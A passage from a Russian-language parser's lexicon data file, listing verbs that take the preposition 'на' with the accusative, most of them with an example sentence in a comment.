(СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием rus_verbs:разбивать{}, // разбивать на куски rus_verbs:пролиться{}, // пролиться на почву rus_verbs:сетовать{}, // сетовать на объективные трудности rus_verbs:подвезти{}, // подвезти на митинг rus_verbs:припереться{}, // припереться на праздник rus_verbs:подталкивать{}, // подталкивать на прыжок rus_verbs:прорываться{}, // прорываться на сцену rus_verbs:снижать{}, // снижать на несколько процентов rus_verbs:нацелить{}, // нацелить на танк rus_verbs:расколоть{}, // расколоть на два куска rus_verbs:увозить{}, // увозить на обкатку rus_verbs:оседать{}, // оседать на дно rus_verbs:съедать{}, // съедать на ужин rus_verbs:навлечь{}, // навлечь на себя rus_verbs:равняться{}, // равняться на лучших rus_verbs:сориентироваться{}, // сориентироваться на местности rus_verbs:снизить{}, // снизить на несколько процентов rus_verbs:перенестись{}, // перенестись на много лет назад rus_verbs:завезти{}, // завезти на склад rus_verbs:проложить{}, // проложить на гору rus_verbs:понадеяться{}, // понадеяться на удачу rus_verbs:заступить{}, // заступить на вахту rus_verbs:засеменить{}, // засеменить на выход rus_verbs:запирать{}, // запирать на ключ rus_verbs:скатываться{}, // скатываться на землю rus_verbs:дробить{}, // дробить на части rus_verbs:разваливаться{}, // разваливаться на кусочки rus_verbs:завозиться{}, // завозиться на склад rus_verbs:нанимать{}, // нанимать на дневную работу rus_verbs:поспеть{}, // поспеть на концерт rus_verbs:променять{}, // променять на сытость rus_verbs:переправить{}, // переправить на север rus_verbs:налетать{}, // налетать на силовое поле rus_verbs:затворить{}, // затворить на замок rus_verbs:подогнать{}, // подогнать на пристань rus_verbs:наехать{}, // наехать на камень rus_verbs:распевать{}, // распевать на разные голоса rus_verbs:разносить{}, // разносить на клочки rus_verbs:преувеличивать{}, // преувеличивать на много килограммов rus_verbs:хромать{}, // хромать на одну ногу rus_verbs:телеграфировать{}, // телеграфировать на базу rus_verbs:порезать{}, // порезать на лоскуты rus_verbs:порваться{}, // порваться на части rus_verbs:загонять{}, // загонять на дерево rus_verbs:отбывать{}, // отбывать на место службы rus_verbs:усаживаться{}, // усаживаться на трон rus_verbs:накопить{}, // накопить на квартиру rus_verbs:зыркнуть{}, // зыркнуть на визитера rus_verbs:копить{}, // копить на машину rus_verbs:помещать{}, // помещать на верхнюю грань rus_verbs:сползать{}, // сползать на снег rus_verbs:попроситься{}, // попроситься на улицу rus_verbs:перетащить{}, // перетащить на чердак rus_verbs:растащить{}, // растащить на сувениры rus_verbs:ниспадать{}, // ниспадать на землю rus_verbs:сфотографировать{}, // сфотографировать на память rus_verbs:нагонять{}, // нагонять на конкурентов страх rus_verbs:покушаться{}, // покушаться на понтифика rus_verbs:покуситься{}, rus_verbs:наняться{}, // наняться на службу rus_verbs:просачиваться{}, // просачиваться на поверхность rus_verbs:пускаться{}, // пускаться на ветер rus_verbs:отваживаться{}, // отваживаться на прыжок rus_verbs:досадовать{}, // досадовать на объективные трудности rus_verbs:унестись{}, // унестись на небо rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов rus_verbs:насадить{}, // насадить на копьё rus_verbs:нагрянуть{}, // нагрянуть на праздник rus_verbs:зашвырнуть{}, // зашвырнуть на полку rus_verbs:грешить{}, // грешить на постояльцев rus_verbs:просочиться{}, // просочиться на поверхность rus_verbs:надоумить{}, // надоумить на глупость rus_verbs:намотать{}, // намотать на шпиндель rus_verbs:замкнуть{}, // замкнуть на корпус rus_verbs:цыкнуть{}, // цыкнуть на детей rus_verbs:переворачиваться{}, // переворачиваться на спину rus_verbs:соваться{}, // соваться на площать rus_verbs:отлучиться{}, // отлучиться на обед rus_verbs:пенять{}, // пенять на себя rus_verbs:нарезать{}, // нарезать на ломтики rus_verbs:поставлять{}, // поставлять на Кипр rus_verbs:залезать{}, // залезать на балкон rus_verbs:отлучаться{}, // отлучаться на обед rus_verbs:сбиваться{}, // сбиваться на шаг rus_verbs:таращить{}, // таращить глаза на вошедшего rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню rus_verbs:опережать{}, // опережать на пару сантиметров rus_verbs:переставить{}, // переставить на стол rus_verbs:раздирать{}, // раздирать на части rus_verbs:затвориться{}, // затвориться на засовы rus_verbs:материться{}, // материться на кого-то rus_verbs:наскочить{}, // наскочить на риф rus_verbs:набираться{}, // набираться на борт rus_verbs:покрикивать{}, // покрикивать на помощников rus_verbs:заменяться{}, // заменяться на более новый rus_verbs:подсадить{}, // подсадить на верхнюю полку rus_verbs:проковылять{}, // проковылять на кухню rus_verbs:прикатить{}, // прикатить на старт rus_verbs:залететь{}, // залететь на чужую территорию rus_verbs:загрузить{}, // загрузить на конвейер rus_verbs:уплывать{}, // уплывать на материк rus_verbs:опозорить{}, // опозорить на всю деревню rus_verbs:провоцировать{}, // провоцировать на ответную агрессию rus_verbs:забивать{}, // забивать на учебу rus_verbs:набегать{}, // набегать на прибрежные деревни rus_verbs:запираться{}, // запираться на ключ rus_verbs:фотографировать{}, // фотографировать на мыльницу rus_verbs:подымать{}, // подымать на недосягаемую высоту rus_verbs:съезжаться{}, // съезжаться на симпозиум rus_verbs:отвлекаться{}, // отвлекаться на игру rus_verbs:проливать{}, // проливать на брюки rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца rus_verbs:уползти{}, // уползти на вершину холма rus_verbs:переместить{}, // переместить на вторую палубу rus_verbs:превысить{}, // превысить на несколько метров rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку rus_verbs:спровоцировать{}, // спровоцировать на бросок rus_verbs:сместиться{}, // сместиться на соседнюю клетку rus_verbs:заготовить{}, // заготовить на зиму rus_verbs:плеваться{}, // плеваться на пол rus_verbs:переселить{}, // переселить на север rus_verbs:напирать{}, // напирать на дверь rus_verbs:переезжать{}, // переезжать на другой этаж rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров rus_verbs:трогаться{}, // трогаться на красный свет rus_verbs:надвинуться{}, // надвинуться на глаза rus_verbs:засмотреться{}, // засмотреться на купальники rus_verbs:убыть{}, // убыть на фронт rus_verbs:передвигать{}, // передвигать на второй уровень rus_verbs:отвозить{}, // отвозить на свалку rus_verbs:обрекать{}, // обрекать на гибель rus_verbs:записываться{}, // записываться на танцы rus_verbs:настраивать{}, // настраивать на другой диапазон rus_verbs:переписывать{}, // переписывать на диск rus_verbs:израсходовать{}, // израсходовать на гонки rus_verbs:обменять{}, // обменять на перспективного игрока rus_verbs:трубить{}, // трубить на всю округу rus_verbs:набрасываться{}, // набрасываться на жертву rus_verbs:чихать{}, // чихать на правила rus_verbs:наваливаться{}, // наваливаться на рычаг rus_verbs:сподобиться{}, // сподобиться на повторный анализ rus_verbs:намазать{}, // намазать на хлеб rus_verbs:прореагировать{}, // прореагировать на вызов rus_verbs:зачислить{}, // зачислить на факультет rus_verbs:наведаться{}, // наведаться на склад rus_verbs:откидываться{}, // откидываться на спинку кресла rus_verbs:захромать{}, // захромать на левую ногу rus_verbs:перекочевать{}, // перекочевать на другой берег rus_verbs:накатываться{}, // накатываться на песчаный берег rus_verbs:приостановить{}, // приостановить на некоторое время rus_verbs:запрятать{}, // запрятать на верхнюю полочку rus_verbs:прихрамывать{}, // прихрамывать на правую ногу rus_verbs:упорхнуть{}, // упорхнуть на свободу rus_verbs:расстегивать{}, // расстегивать на пальто rus_verbs:напуститься{}, // напуститься на бродягу rus_verbs:накатывать{}, // накатывать на оригинал rus_verbs:наезжать{}, // наезжать на простофилю rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека rus_verbs:отрядить{}, // отрядить на починку rus_verbs:положиться{}, // положиться на главаря rus_verbs:опрокидывать{}, // опрокидывать на голову rus_verbs:поторапливаться{}, // поторапливаться на рейс rus_verbs:налагать{}, // налагать на заемщика rus_verbs:скопировать{}, // скопировать на диск rus_verbs:опадать{}, // опадать на землю rus_verbs:купиться{}, // купиться на посулы rus_verbs:гневаться{}, // гневаться на слуг rus_verbs:слететься{}, // слететься на раздачу rus_verbs:убавить{}, // убавить на два уровня rus_verbs:спихнуть{}, // спихнуть на соседа rus_verbs:накричать{}, // накричать на ребенка rus_verbs:приберечь{}, // приберечь на ужин rus_verbs:приклеить{}, // приклеить на ветровое стекло rus_verbs:ополчиться{}, // ополчиться на посредников rus_verbs:тратиться{}, // тратиться на сувениры rus_verbs:слетаться{}, // слетаться на свет rus_verbs:доставляться{}, // доставляться на базу rus_verbs:поплевать{}, // поплевать на руки rus_verbs:огрызаться{}, // огрызаться на замечание rus_verbs:попереться{}, // попереться на рынок rus_verbs:растягиваться{}, // растягиваться на полу rus_verbs:повергать{}, // повергать на землю rus_verbs:ловиться{}, // ловиться на мотыля rus_verbs:наседать{}, // наседать на обороняющихся 